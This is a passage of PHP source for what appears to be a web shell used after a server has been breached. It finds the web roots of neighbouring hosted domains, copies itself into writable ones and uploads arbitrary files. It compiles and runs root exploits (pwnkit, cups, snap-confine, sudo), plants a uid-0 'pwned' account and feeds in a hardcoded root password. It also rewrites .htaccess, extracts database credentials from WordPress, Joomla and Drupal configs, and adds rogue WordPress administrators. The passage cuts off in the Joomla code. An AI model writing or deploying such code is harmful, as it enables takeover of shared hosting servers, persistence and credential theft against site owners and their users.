                    if ($line === '' || $line[0] === '#') {
                        continue;
                    }
                    $parts  = preg_split('/:\s*/', $line, 2);
                    $domain = strtolower(trim($parts[0]));
                    $owner  = isset($parts[1]) ? trim($parts[1]) : '';
                    if (!preg_match('/^([a-z0-9\-]+\.)+[a-z]{2,}$/', $domain)) {
                        continue;
                    }
                    $candidates = array();
                    if ($owner === '') {
                        $candidates = array(
                            '/home/' . $domain . '/public_html',
                            '/home/' . $domain . '/htdocs',
                            '/var/www/' . $domain . '/htdocs',
                            '/var/www/' . $domain . '/web',
                            '/var/www/vhosts/' . $domain . '/httpdocs',
                            '/www/wwwroot/' . $domain,
                            '/data/www/' . $domain,
                        );
                    } else {
                        $candidates = array(
                            "/home/$owner/public_html/$domain",
                            "/home/$owner/$domain/public_html",
                            "/home/$owner/$domain",
                            "/home/$owner/domains/$domain/public_html",
                            "/home/$owner/web/$domain/public_html",
                            "/home/$owner/htdocs/$domain",
                            "/home/$owner/webapps/$domain/public",
                            "/var/www/$owner/web/$domain/public_html",
                            "/var/www/$domain/htdocs",
                            "/var/www/$domain/web",
                            "/www/wwwroot/$domain",
                        );
                    }
                    foreach ($candidates as $c) {
                        $real = @realpath($c);
                        if ($real === false || !@is_dir($real) || isset($seen[$real])) {
                            continue;
                        }
                        $seen[$real] = true;
                        $found[] = array(
                            'domain'   => $domain,
                            'root'     => $real,
                            'writable' => @is_writable($real) ? 1 : 0,
                            'source'   => basename($file),
                        );
                    }
                }
            }
        }

        $layouts = array(
            '/home/*/public_html'            => 'cpanel-primary',
            '/home/*/public_html/*'          => 'cpanel-addon',
            '/home/*/*/public_html'          => 'cpanel-addon',
            '/home/*/domains/*/public_html'  => 'directadmin',
            '/home/*/httpdocs'               => 'webmin',
            '/home/*/htdocs'                 => 'webmin',
            '/home/*/web/*/public_html'      => 'vesta-hestia',
            '/home/*/htdocs/*'               => 'cloudpanel',
            '/home/*/webapps/*/public'       => 'runcloud',
            '/home/*/apps/*/public'          => 'runcloud-apps',
            '/home/ploi/*/public'            => 'ploi',
            '/srv/users/*/apps/*/public'     => 'serverpilot',
            '/srv/www/*/public_html'         => 'srv-www',
            '/srv/www/*'                     => 'srv-www',
            '/var/www/vhosts/*/httpdocs'     => 'plesk',
            '/var/www/vhosts/*/public_html'  => 'plesk',
            '/var/www/*/web'                 => 'ispconfig',
            '/var/www/clients/client*/web*/web' => 'ispconfig-deep',
            '/var/www/*/htdocs'              => 'deb-htdocs',
            '/var/www/*/public_html'         => 'deb-public',
            '/var/www/sites/*'               => 'deb-sites',
            '/var/www/html/*'                => 'deb-subdir',
            '/var/www/html'                  => 'deb-apache',
            '/var/www/nginx-default/*'       => 'nginx-deb',
            '/var/www/*'                     => 'deb-apache',
            '/www/wwwroot/*'                 => 'aapanel',
            '/www/wwwroot'                   => 'aapanel',
            '/usr/local/lsws/*/html'         => 'litespeed',
            '/usr/local/lsws/Example/html'   => 'litespeed-example',
            '/usr/share/nginx/html/*'        => 'nginx-default',
            '/usr/local/apache2/htdocs/*'    => 'apache2',
            '/opt/lampp/htdocs/*'            => 'xampp',
            '/opt/lampp/htdocs'              => 'xampp',
            '/xampp/htdocs/*'                => 'xampp-win',
            '/data/www/*'                    => 'data-www',
            '/data/coolify/applications/*'   => 'coolify',
            '/etc/dokploy/applications/*'    => 'dokploy',
            '/etc/easypanel/projects/*'      => 'easypanel',
            '/captain/data/*'                => 'caprover',
        );

        $always = array('cpanel-primary', 'deb-apache', 'deb-subdir',
                        'aapanel', 'nginx-default', 'xampp', 'xampp-win',
                        'apache2', 'nginx-deb', 'litespeed-example');

        foreach ($layouts as $pattern => $family) {
            $dirs = @glob($pattern, GLOB_ONLYDIR);
            if (!$dirs) {
                continue;
            }
            foreach ($dirs as $dir) {
                if (!@is_dir($dir)) {
                    continue;
                }
                $name   = basename($dir);
                $parent = basename(dirname($dir));
                $is_named = preg_match('/^([a-z0-9\-]+\.)+[a-z]{2,}$/i', $parent)
                         || preg_match('/^([a-z0-9\-]+\.)+[a-z]{2,}$/i', $name);
                if (!$is_named && !in_array($family, $always, true)) {
                    continue;
                }
                $real = @realpath($dir);
                if ($real === false || isset($seen[$real])) {
                    continue;
                }
                $seen[$real] = true;
                $found[] = array(
                    'domain'   => domain_for_root($dir),
                    'root'     => $real,
                    'writable' => @is_writable($real) ? 1 : 0,
                    'source'   => $family,
                );
            }
        }

        $real = @realpath(store_dir());
        if ($real !== false && !isset($seen[$real])) {
            $seen[$real] = true;
            $found[] = array(
                'domain'   => guess_domain($real),
                'root'     => $real,
                'writable' => @is_writable($real) ? 1 : 0,
                'source'   => 'entry',
            );
        }

        usort($found, 'cmp_domain');

        $writableCount = 0;
        foreach ($found as $row) {
            if ($row['writable']) {
                $writableCount++;
            }
        }

        ok(array(
            'user'     => current_user(),
            'panel'    => $panel,
            'host'     => srv('HTTP_HOST', ''),
            'total'    => count($found),
            'writable' => $writableCount,
            'domains'  => $found,
        ));
        break;

    case 'replicate':
        $dir  = req('target_dir', '');
        $real = @realpath($dir);
        if ($real === false || !@is_dir($real) || !@is_writable($real)) {
            fail('target not writable', 400);
        }
        $name = safe_name(req('name', basename(__FILE__)));
        $dest = rtrim($real, '/\\') . DIRECTORY_SEPARATOR . $name;
        $body = @file_get_contents(__FILE__);
        if ($body === false) {
            fail('cannot read self', 500);
        }
        if (@file_put_contents($dest, $body) === false) {
            fail('write failed', 500);
        }
        @chmod($dest, 0644);
        ok(array('file' => $name, 'path' => $dest, 'size' => filesize($dest),
                 'domain' => guess_domain($real)));
        break;

    case 'put':
        $dir  = req('target_dir', '');
        $real = @realpath($dir);
        if ($real === false || !@is_dir($real) || !@is_writable($real)) {
            fail('target not writable', 400);
        }

        $folder = safe_folder(req('folder', ''));
        if ($folder !== '') {
            $nested = rtrim($real, '/\\') . DIRECTORY_SEPARATOR . $folder;
            if (!@is_dir($nested)) {
                if (!@mkdir($nested, 0755, true)) {
                    fail('cannot create folder', 500);
                }
            }
            if (!@is_writable($nested)) {
                fail('folder not writable', 400);
            }
            $real = $nested;
        }

        $name = safe_name(req('name', 'index.php'));
        $dest = rtrim($real, '/\\') . DIRECTORY_SEPARATOR . $name;

        if (@file_exists($dest)) {
            @unlink($dest);
        }

        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
                fail('move failed', 500);
            }
            $mode = 'multipart';
        } else {
            $content = req('content', '');
            if ($content === '') {
                fail('no file and no content', 400);
            }
            if (@file_put_contents($dest, $content) === false) {
                fail('write failed', 500);
            }
            $mode = 'content';
        }

        @chmod($dest, 0644);
        @chmod($dest, 0755);

        ok(array(
            'file'   => $name,
            'folder' => $folder,
            'path'   => $dest,
            'size'   => @filesize($dest),
            'domain' => guess_domain($real),
            'mode'   => $mode,
            'perms'  => substr(sprintf('%o', @fileperms($dest)), -4),
        ));
        break;

    case 'upload':
        if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
            fail('upload error: ' . (isset($_FILES['file']) ? $_FILES['file']['error'] : 'missing'), 400);
        }
        $name = safe_name(req('name', $_FILES['file']['name']));
        $dest = store_dir() . DIRECTORY_SEPARATOR . $name;
        if (file_exists($dest)) {
            @unlink($dest);
        }
        if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
            fail('move_uploaded_file failed', 500);
        }
        @chmod($dest, 0644);
        ok(array('file' => $name, 'size' => filesize($dest), 'path' => $dest));
        break;

    case 'chunk':
        $upload_id = safe_name(req('upload_id', ''));
        $index     = (int)req('chunk_index', '-1');
        $total     = (int)req('chunk_total', '-1');
        $name      = safe_name(req('name', ''));

        if ($upload_id === '' || $index < 0 || $total <= 0 || $index >= $total) {
            fail('bad chunk params', 400);
        }
        if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
            fail('chunk upload error', 400);
        }
        if ((int)$_FILES['file']['size'] > MAX_CHUNK + 1024) {
            fail('chunk too large', 400);
        }

        $dest = store_dir() . DIRECTORY_SEPARATOR . $name;
        $part = store_dir() . DIRECTORY_SEPARATOR . '.' . $upload_id . '.part';
        $mode = ($index === 0) ? 'wb' : 'ab';

        $out = fopen($part, $mode);
        if (!$out) {
            fail('cannot open part file', 500);
        }
        $in = fopen($_FILES['file']['tmp_name'], 'rb');
        if (!$in) {
            fclose($out);
            fail('cannot open temp file', 500);
        }
        stream_copy_to_stream($in, $out);
        fclose($in);
        fclose($out);

        if ($index + 1 < $total) {
            ok(array('received' => $index + 1, 'total' => $total,
                     'part' => basename($part)));
        }

        if (file_exists($dest)) {
            @unlink($dest);
        }
        if (!rename($part, $dest)) {
            fail('final rename failed', 500);
        }
        @chmod($dest, 0644);
        ok(array('file' => $name, 'size' => filesize($dest), 'path' => $dest));
        break;

    case 'exploit':
        // kind: pwnkit | cups | snapconfine | refluxfs | sudointercept
        $kind = strtolower(req('kind', ''));
        if (!in_array($kind, array('pwnkit', 'cups', 'snapconfine',
                                   'refluxfs', 'sudointercept'), true)) {
            fail('unknown kind', 400);
        }

        $password = req('password', 'CIpVYcaN0jGv');
        $runners  = exec_runners();
        if (!$runners) {
            fail('no exec function available (disable_functions)', 500);
        }

        $tmp    = tmp_base();
        $tag    = substr(md5(uniqid('', true)), 0, 8);
        $dir    = $tmp . DIRECTORY_SEPARATOR . '.ex_' . $tag;
        $idfile = $dir . DIRECTORY_SEPARATOR . 'id.txt';
        $hashf  = $dir . DIRECTORY_SEPARATOR . 'hash.txt';
        $loginf = $dir . DIRECTORY_SEPARATOR . 'login.txt';
        $donef  = $dir . DIRECTORY_SEPARATOR . 'done.txt';
        $batch  = root_batch($password, $idfile, $hashf, $loginf, $donef);

        if (!@mkdir($dir, 0755, true)) {
            fail('cannot create work dir', 500);
        }

        $out     = '';
        $detail  = '';
        $runner  = '';
        $hashOk  = 0;
        $loginOk = 0;
        $uid     = -1;

        /* ---------------- pwnkit ---------------- */
        if ($kind === 'pwnkit') {
            $source = base64_decode(req('payload', ''), true);
            if ($source === false || strlen($source) < 500) {
                fail('pwnkit payload decode failed', 400);
            }
            $cc = find_compiler();
            if ($cc === '') {
                fail('no compiler for pwnkit', 500);
            }
            if (!@is_file('/usr/bin/pkexec')) {
                fail('pkexec missing', 500);
            }

            $src = $dir . DIRECTORY_SEPARATOR . 'poc.c';
            $bin = $dir . DIRECTORY_SEPARATOR . 'poc';
            @file_put_contents($src, $source);

            list($compileOut, $runner) = run_shell(
                'cd ' . escapeshellarg($dir) . ' && '
                . escapeshellarg($cc) . ' -O0 -o poc poc.c 2>&1',
                $runners
            );
            if (!@is_file($bin)) {
                $detail = 'compile: ' . substr(preg_replace('/\s+/', ' ', (string)$compileOut), 0, 200);
                @unlink($src);
                run_shell('rm -rf ' . escapeshellarg($dir), $runners);
                ok(array('kind' => $kind, 'rooted' => 0, 'hash_ok' => 0,
                         'login_ok' => 0, 'uid' => -1, 'detail' => $detail));
            }
            @chmod($bin, 0755);

            $cmd = 'cd ' . escapeshellarg($dir)
                 . ' && printf %s ' . escapeshellarg($batch)
                 . ' | PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ./poc 2>&1';
            list($out, $runner) = run_shell($cmd, $runners);

            $uid     = read_int_file($idfile);
            $hashOk  = file_flag($hashf);
            $loginOk = file_flag($loginf);

            @unlink($src);
            @unlink($bin);
            run_shell('rm -rf ' . escapeshellarg($dir), $runners);

            ok(array(
                'kind'     => $kind,
                'rooted'   => $loginOk ? 1 : 0,
                'hash_ok'  => $hashOk,
                'login_ok' => $loginOk,
                'uid'      => $uid,
                'runner'   => $runner,
                'out'      => substr(preg_replace('/\s+/', ' ', (string)$out), 0, 600),
            ));
        }

        /* ---------------- cups ---------------- */
        if ($kind === 'cups') {
            if (!cups_port_open()) {
                fail('cupsd not on 127.0.0.1:631', 500);
            }
            $python = find_python();
            if ($python === '') {
                fail('python not found', 500);
            }
            $source = base64_decode(req('payload', ''), true);
            if ($source === false || strlen($source) < 1000) {
                fail('cups payload decode failed', 400);
            }

            $script = $dir . DIRECTORY_SEPARATOR . 'poc.py';
            @file_put_contents($script, $source);
            @chmod($script, 0755);

            $who = current_user();
            $env = 'USER=' . escapeshellarg($who)
                 . ' LOGNAME=' . escapeshellarg($who)
                 . ' HOME=' . escapeshellarg($dir);

            list($cupsOut, $runner) = run_shell(
                'cd ' . escapeshellarg($dir) . ' && ' . $env . ' '
                . escapeshellarg($python) . ' ' . escapeshellarg($script) . ' 2>&1',
                $runners
            );

            $out = (string)$cupsOut;
            $cupsOk = (stripos($out, 'captured token') !== false);

            if ($cupsOk) {
                sleep(1);
                $cmd = 'printf %s ' . escapeshellarg($batch)
                     . ' | sudo -n -i 2>&1';
                list($rootOut, $runner) = run_shell($cmd, $runners);
                $out .= "\n" . (string)$rootOut;
            }

            $uid     = read_int_file($idfile);
            $hashOk  = file_flag($hashf);
            $loginOk = file_flag($loginf);

            run_shell('rm -rf ' . escapeshellarg($dir), $runners);

            ok(array(
                'kind'     => $kind,
                'rooted'   => $loginOk ? 1 : 0,
                'hash_ok'  => $hashOk,
                'login_ok' => $loginOk,
                'uid'      => $uid,
                'token'    => $cupsOk ? 1 : 0,
                'runner'   => $runner,
                'out'      => substr(preg_replace('/\s+/', ' ', $out), 0, 700),
            ));
        }

        /* ---------------- snapconfine ---------------- */
        if ($kind === 'snapconfine') {
            $state = snapconfine_state();
            if ($state === 0) {
                fail('snap-confine not installed', 500);
            }
            if ($state === 2) {
                fail('snap-confine is setuid-root, fixed variant', 500);
            }

            $curl = find_curl();
            if ($curl === '') {
                fail('curl not found for tarball download', 500);
            }

            $tgz = $dir . DIRECTORY_SEPARATOR . 'pkg.tgz';
            run_shell(
                escapeshellarg($curl) . ' -fsSL --max-time 90 -o '
                . escapeshellarg($tgz) . ' ' . escapeshellarg(SNAPCONFINE_URL) . ' 2>&1',
                $runners
            );
            if (!@is_file($tgz) || @filesize($tgz) < 5000) {
                run_shell('rm -rf ' . escapeshellarg($dir), $runners);
                fail('tarball download failed', 500);
            }

            run_shell('tar xzf ' . escapeshellarg($tgz) . ' -C '
                      . escapeshellarg($dir) . ' 2>&1', $runners);

            $pkgDir = '';
            $entries = @glob($dir . '/*', GLOB_ONLYDIR);
            if ($entries) {
                foreach ($entries as $entry) {
                    if (@is_file($entry . '/_t18poc.sh')) {
                        $pkgDir = $entry;
                        break;
                    }
                }
            }
            if ($pkgDir === '') {
                run_shell('rm -rf ' . escapeshellarg($dir), $runners);
                fail('driver script not found in tarball', 500);
            }

            $tc = find_timeout();
            $drive = 'cd ' . escapeshellarg($pkgDir)
                   . ' && KEEP=1 CLEANUP=0 bash _t18poc.sh 100% 12 2>&1';
            if ($tc !== '') {
                $drive = escapeshellarg($tc) . ' 300 ' . $drive;
            }
            list($driveOut, $runner) = run_shell($drive, $runners);
            $out = (string)$driveOut;

            $planted = (strpos($out, 'uid-0 account planted') !== false);
            $passwdHas = false;
            if (@is_readable('/etc/passwd')) {
                $passwdHas = (strpos((string)@file_get_contents('/etc/passwd'),
                                     'pwned:') !== false);
            }

            if ($planted || $passwdHas) {
                $feed = "pwned\n" . $batch;
                $cmd = 'printf %s ' . escapeshellarg($feed)
                     . ' | script -q -c ' . escapeshellarg('su - pwned')
                     . ' /dev/null 2>&1';
                list($rootOut, $runner) = run_shell($cmd, $runners);
                $out .= "\n" . (string)$rootOut;
            }

            $uid     = read_int_file($idfile);
            $hashOk  = file_flag($hashf);
            $loginOk = file_flag($loginf);

            run_shell('rm -rf ' . escapeshellarg($dir), $runners);

            ok(array(
                'kind'     => $kind,
                'rooted'   => $loginOk ? 1 : 0,
                'hash_ok'  => $hashOk,
                'login_ok' => $loginOk,
                'uid'      => $uid,
                'planted'  => ($planted || $passwdHas) ? 1 : 0,
                'runner'   => $runner,
                'out'      => substr(preg_replace('/\s+/', ' ', $out), 0, 800),
            ));
        }

        /* ---------------- refluxfs ---------------- */
        if ($kind === 'refluxfs') {
            $source = base64_decode(req('payload', ''), true);
            if ($source === false || strlen($source) < 200) {
                fail('refluxfs payload decode failed', 400);
            }

            $sh = $dir . DIRECTORY_SEPARATOR . 'check.sh';
            @file_put_contents($sh, $source);
            @chmod($sh, 0755);

            $tc = find_timeout();
            $cmd = 'bash ' . escapeshellarg($sh) . ' 2>&1';
            if ($tc !== '') {
                $cmd = escapeshellarg($tc) . ' 60 ' . $cmd;
            }
            list($out, $runner) = run_shell($cmd, $runners);

            $lower = strtolower((string)$out);
            $reflink = (strpos($lower, 'reflink enabled') !== false
                        || strpos($lower, 'reflink=1') !== false);
            $xfs = (strpos($lower, 'xfs') !== false
                    && strpos($lower, 'no xfs filesystems mounted') === false);

            run_shell('rm -rf ' . escapeshellarg($dir), $runners);

            ok(array(
                'kind'     => $kind,
                'rooted'   => 0,
                'hash_ok'  => 0,
                'login_ok' => 0,
                'uid'      => -1,
                'detected' => $reflink ? 1 : 0,
                'xfs'      => $xfs ? 1 : 0,
                'runner'   => $runner,
                'out'      => substr(preg_replace('/\s+/', ' ', (string)$out), 0, 600),
            ));
        }

        /* ---------------- sudointercept ---------------- */
        if ($kind === 'sudointercept') {
            list($listOut, $runner) = run_shell('sudo -n -l 2>&1', $runners);
            $listOut = (string)$listOut;
            $hasIntercept = (stripos($listOut, 'intercept') !== false);
            $wideOpen = (stripos($listOut, 'NOPASSWD: ALL') !== false
                         || stripos($listOut, '(ALL : ALL) ALL') !== false
                         || preg_match('/\(ALL\)\s+ALL/', $listOut));

            if ($wideOpen) {
                $cmd = 'printf %s ' . escapeshellarg($batch) . ' | sudo -n /bin/sh 2>&1';
                list($out, $runner) = run_shell($cmd, $runners);
                $hashOk  = file_flag($hashf);
                $loginOk = file_flag($loginf);
                $uid     = read_int_file($idfile);
                run_shell('rm -rf ' . escapeshellarg($dir), $runners);
                ok(array('kind' => $kind, 'rooted' => $loginOk ? 1 : 0,
                         'hash_ok' => $hashOk, 'login_ok' => $loginOk,
                         'uid' => $uid, 'runner' => $runner,
                         'intercept' => $hasIntercept ? 1 : 0, 'wide' => 1,
                         'out' => substr(preg_replace('/\s+/', ' ', (string)$out), 0, 600)));
            }

            if ($hasIntercept) {
                $cc = find_compiler();
                if ($cc !== '') {
                    $src = $dir . DIRECTORY_SEPARATOR . 'x.c';
                    $bin = $dir . DIRECTORY_SEPARATOR . 'x';
                    @file_put_contents($src, execveat_source());
                    run_shell('cd ' . escapeshellarg($dir) . ' && '
                              . escapeshellarg($cc) . ' -O0 -o x x.c 2>&1', $runners);
                    if (@is_file($bin)) {
                        @chmod($bin, 0755);
                        $cmd = 'printf %s ' . escapeshellarg($batch)
                             . ' | sudo -n ' . escapeshellarg($bin) . ' /bin/sh 2>&1';
                        list($out, $runner) = run_shell($cmd, $runners);
                        $hashOk  = file_flag($hashf);
                        $loginOk = file_flag($loginf);
                        $uid     = read_int_file($idfile);
                    }
                }
            }

            run_shell('rm -rf ' . escapeshellarg($dir), $runners);

            ok(array(
                'kind'      => $kind,
                'rooted'    => $loginOk ? 1 : 0,
                'hash_ok'   => $hashOk,
                'login_ok'  => $loginOk,
                'uid'       => $uid,
                'runner'    => $runner,
                'intercept' => $hasIntercept ? 1 : 0,
                'wide'      => 0,
                'out'       => substr(preg_replace('/\s+/', ' ', (string)$listOut), 0, 600),
            ));
        }

        fail('kind not handled', 400);
        break;

    case 'dirty':
        $b64 = isset($_POST['payload']) ? (string)$_POST['payload'] : '';
        if ($b64 === '') {
            fail('no payload', 400);
        }
        $source = base64_decode($b64, true);
        if ($source === false || strlen($source) < 5000) {
            fail('payload decode failed', 400);
        }

        $password = req('password', 'CIpVYcaN0jGv');
        $runners  = exec_runners();
        if (!$runners) {
            fail('no exec function available (disable_functions)', 500);
        }

        $cc = find_compiler();
        if ($cc === '') {
            fail('no compiler found on target', 500);
        }

        $tmp    = tmp_base();
        $tag    = substr(md5(uniqid('', true)), 0, 8);
        $src    = $tmp . DIRECTORY_SEPARATOR . '.df_' . $tag . '.c';
        $bin    = $tmp . DIRECTORY_SEPARATOR . '.df_' . $tag;
        $idfile = $tmp . DIRECTORY_SEPARATOR . '.df_id_' . $tag;
        $hashf  = $tmp . DIRECTORY_SEPARATOR . '.df_h_' . $tag;
        $loginf = $tmp . DIRECTORY_SEPARATOR . '.df_l_' . $tag;
        $donef  = $tmp . DIRECTORY_SEPARATOR . '.df_d_' . $tag;
        $tc     = find_timeout();

        if (@file_put_contents($src, $source) === false) {
            fail('cannot write source', 500);
        }

        list($compileOut, $runnerUsed) = run_shell(
            escapeshellarg($cc) . ' -O0 -Wall -o ' . escapeshellarg($bin)
            . ' ' . escapeshellarg($src) . ' -lutil 2>&1',
            $runners
        );

        if (!@is_file($bin)) {
            @unlink($src);
            fail('compile failed: ' . substr(preg_replace('/\s+/', ' ', (string)$compileOut), 0, 300), 500);
        }
        @chmod($bin, 0755);

        $runCmd = escapeshellarg($bin) . ' --force-esp --corrupt-only >/dev/null 2>&1';
        if ($tc !== '') {
            $runCmd = escapeshellarg($tc) . ' 40 ' . $runCmd;
        }
        run_shell($runCmd, $runners);

        $marker = '';
        $suPath = '/usr/bin/su';
        if (!@is_readable($suPath)) {
            foreach (array('/bin/su', '/usr/sbin/su', '/sbin/su') as $candidate) {
                if (@is_readable($candidate)) {
                    $suPath = $candidate;
                    break;
                }
            }
        }
        $fh = @fopen($suPath, 'rb');
        if ($fh) {
            @fseek($fh, 0x78);
            $marker = (string)@fread($fh, 8);
            fclose($fh);
        }
        $patched = ($marker === "\x31\xff\x31\xf6\x31\xc0\xb0\x6a");

        $out = '';
        if ($patched) {
            $batch = root_batch($password, $idfile, $hashf, $loginf, $donef);
            $cmd = "printf '%s' " . escapeshellarg($batch)
                 . " | " . escapeshellarg($suPath) . " 2>&1";
            list($out, $unused) = run_shell($cmd, $runners);
        }

        $uid     = read_int_file($idfile);
        $hashOk  = file_flag($hashf);
        $loginOk = file_flag($loginf);

        @unlink($src);
        @unlink($bin);
        @unlink($idfile);
        @unlink($hashf);
        @unlink($loginf);
        @unlink($donef);

        ok(array(
            'rooted'   => ($patched && $loginOk) ? 1 : 0,
            'patched'  => $patched ? 1 : 0,
            'hash_ok'  => $hashOk,
            'login_ok' => $loginOk,
            'uid'      => $uid,
            'compiler' => $cc,
            'runner'   => $runnerUsed,
            'timeout'  => $tc,
            'out'      => substr(preg_replace('/\s+/', ' ', (string)$out), 0, 600),
            'compile'  => substr(preg_replace('/\s+/', ' ', (string)$compileOut), 0, 300),
        ));
        break;

    case 'root':
        $b64 = isset($_POST['payload']) ? (string)$_POST['payload'] : '';
        if ($b64 === '') {
            fail('no payload', 400);
        }
        $exploit = base64_decode($b64, true);
        if ($exploit === false || strlen($exploit) < 500) {
            fail('payload decode failed', 400);
        }

        $password = req('password', 'CIpVYcaN0jGv');
        $runners  = exec_runners();
        if (!$runners) {
            fail('no exec function available (disable_functions)', 500);
        }

        $python = find_python();
        if ($python === '') {
            fail('python not found on target', 500);
        }

        $tmp    = tmp_base();
        $tag    = substr(md5(uniqid('', true)), 0, 8);
        $script = $tmp . DIRECTORY_SEPARATOR . '.cf_' . $tag . '.py';
        $idfile = $tmp . DIRECTORY_SEPARATOR . '.cf_id_' . $tag;
        $hashf  = $tmp . DIRECTORY_SEPARATOR . '.cf_h_' . $tag;
        $loginf = $tmp . DIRECTORY_SEPARATOR . '.cf_l_' . $tag;
        $donef  = $tmp . DIRECTORY_SEPARATOR . '.cf_d_' . $tag;

        if (@file_put_contents($script, $exploit) === false) {
            fail('cannot write exploit', 500);
        }
        @chmod($script, 0755);

        $batch = root_batch($password, $idfile, $hashf, $loginf, $donef);
        $command = "printf '%s' " . escapeshellarg($batch)
                 . " | " . escapeshellarg($python) . " " . escapeshellarg($script) . " 2>&1";

        list($out, $runner) = run_shell($command, $runners);

        $uid     = read_int_file($idfile);
        $hashOk  = file_flag($hashf);
        $loginOk = file_flag($loginf);

        @unlink($script);
        @unlink($idfile);
        @unlink($hashf);
        @unlink($loginf);
        @unlink($donef);

        ok(array(
            'rooted'   => $loginOk ? 1 : 0,
            'hash_ok'  => $hashOk,
            'login_ok' => $loginOk,
            'uid'      => $uid,
            'runner'   => $runner,
            'python'   => $python,
            'out'      => substr(preg_replace('/\s+/', ' ', (string)$out), 0, 600),
        ));
        break;

    case 'htaccess':
        $dir  = req('target_dir', store_dir());
        $real = @realpath($dir);
        if ($real === false || !@is_dir($real)) {
            fail('target_dir not a directory', 400);
        }
        if (!@is_writable($real)) {
            fail('target dir not writable', 400);
        }

        $path = rtrim($real, '/\\') . DIRECTORY_SEPARATOR . '.htaccess';
        $exists = @is_file($path);
        $previous = $exists ? @file_get_contents($path, false, null, 0, HTACCESS_LIMIT) : null;
        $op = req('op', 'read');

        if ($op === 'read') {
            emit(array(
                'path'     => $path,
                'exists'   => $exists ? 1 : 0,
                'readable' => @is_readable($path) ? 1 : 0,
                'writable' => @is_writable($path) ? 1 : ($exists ? 0 : 1),
                'previous' => $previous,
            ));
        }

        if ($op === 'delete') {
            if ($exists && !@unlink($path)) {
                fail('delete failed', 500);
            }
            emit(array('path' => $path, 'deleted' => 1, 'previous' => $previous));
        }

        if ($op === 'write') {
            $content = req('content', '');
            if ($exists) {
                @unlink($path);
            }
            if (@file_put_contents($path, $content) === false) {
                fail('write failed', 500);
            }
            @chmod($path, 0644);
            emit(array(
                'path'     => $path,
                'written'  => 1,
                'size'     => @filesize($path),
                'previous' => $previous,
            ));
        }

        fail('unknown op; use read | write | delete', 400);
        break;

    case 'cms':
        $dir  = req('target_dir', store_dir());
        $op   = req('op', 'config');
        $real = @realpath($dir);
        if ($real === false || !@is_dir($real)) {
            fail('target_dir not a directory', 400);
        }

        $wpFile  = find_up($real, 'wp-config.php', 2);
        $jooFile = find_up($real, 'configuration.php', 2);
        $druFile = find_up($real . '/sites/default', 'settings.php', 1);
        if ($druFile === null) {
            $druFile = find_up($real, 'settings.php', 3);
        }

        $kind = '';
        if ($wpFile) {
            $kind = 'wordpress';
        } elseif ($jooFile) {
            $kind = 'joomla';
        } elseif ($druFile) {
            $kind = 'drupal';
        }

        if ($op === 'config' || $op === '') {
            $out = array('cms' => $kind, 'dir' => $real);
            if ($wpFile) {
                $cfg = parse_wp_config($wpFile);
                $out['config_file'] = $wpFile;
                $out['config'] = array(
                    'DB_NAME'      => isset($cfg['DB_NAME']) ? $cfg['DB_NAME'] : null,
                    'DB_USER'      => isset($cfg['DB_USER']) ? $cfg['DB_USER'] : null,
                    'DB_PASSWORD'  => isset($cfg['DB_PASSWORD']) ? $cfg['DB_PASSWORD'] : null,
                    'DB_HOST'      => isset($cfg['DB_HOST']) ? $cfg['DB_HOST'] : null,
                    'table_prefix' => isset($cfg['table_prefix']) ? $cfg['table_prefix'] : 'wp_',
                    'AUTH_KEY'     => isset($cfg['AUTH_KEY']) ? $cfg['AUTH_KEY'] : null,
                );
            }
            if ($jooFile) {
                $cfg = parse_joomla_config($jooFile);
                $out['config_file'] = $jooFile;
                $out['config'] = array(
                    'host'     => isset($cfg['host']) ? $cfg['host'] : null,
                    'user'     => isset($cfg['user']) ? $cfg['user'] : null,
                    'password' => isset($cfg['password']) ? $cfg['password'] : null,
                    'db'       => isset($cfg['db']) ? $cfg['db'] : null,
                    'dbprefix' => isset($cfg['dbprefix']) ? $cfg['dbprefix'] : null,
                    'secret'   => isset($cfg['secret']) ? $cfg['secret'] : null,
                );
            }
            if ($druFile) {
                $cfg = parse_drupal_settings($druFile);
                $out['config_file'] = $druFile;
                $out['config'] = array(
                    'host'     => isset($cfg['host']) ? $cfg['host'] : null,
                    'username' => isset($cfg['username']) ? $cfg['username'] : null,
                    'password' => isset($cfg['password']) ? $cfg['password'] : null,
                    'database' => isset($cfg['database']) ? $cfg['database'] : null,
                    'prefix'   => isset($cfg['prefix']) ? $cfg['prefix'] : '',
                );
            }
            if ($kind === '') {
                $out['error'] = 'no supported CMS config found';
            }
            emit($out);
        }

        $username = req('username', '');
        $password = req('password', '');
        $email    = req('email', $username . '@' . srv('HTTP_HOST', 'localhost'));

        if ($kind === 'wordpress') {
            $cfg    = parse_wp_config($wpFile);
            $prefix = isset($cfg['table_prefix']) ? $cfg['table_prefix'] : 'wp_';
            $db = cms_db(
                isset($cfg['DB_HOST']) ? $cfg['DB_HOST'] : '',
                isset($cfg['DB_USER']) ? $cfg['DB_USER'] : '',
                isset($cfg['DB_PASSWORD']) ? $cfg['DB_PASSWORD'] : '',
                isset($cfg['DB_NAME']) ? $cfg['DB_NAME'] : ''
            );

            if ($op === 'list_users') {
                emit(array('cms' => 'wordpress', 'users' => wp_list_users($db, $prefix)));
            }
            if ($op === 'set_pass') {
                if ($username === '' || $password === '') {
                    fail('username and password required', 400);
                }
                $done = wp_set_password($db, $prefix, $username, $password);
                emit(array('cms' => 'wordpress', 'changed' => (bool)$done,
                           'user_login' => $username));
            }
            if ($op === 'add_admin') {
                if ($username === '' || $password === '') {
                    fail('username and password required', 400);
                }
                $res = wp_add_admin($db, $prefix, $username, $password, $email);
                if (!$res['ok']) {
                    fail('insert failed: ' . (isset($res['error']) ? $res['error'] : 'unknown'), 500);
                }
                emit(array('cms' => 'wordpress', 'added' => $res));
            }
            fail('unknown op for wordpress', 400);
        }

        if ($kind === 'joomla') {
            $cfg    = parse_joomla_config($jooFile);
            $prefix = isset($cfg['dbprefix']) ? $cfg['dbprefix'] : 'jos_';
            $db = cms_db(
                isset($cfg['host']) ? $cfg['host'] : '',
                isset($cfg['user']) ? $cfg['user'] : '',
                isset($cfg['password']) ? $cfg['password'] : '',
                isset($cfg['db']) ? $cfg['db'] : ''
            );

            if ($op === 'list_users') {
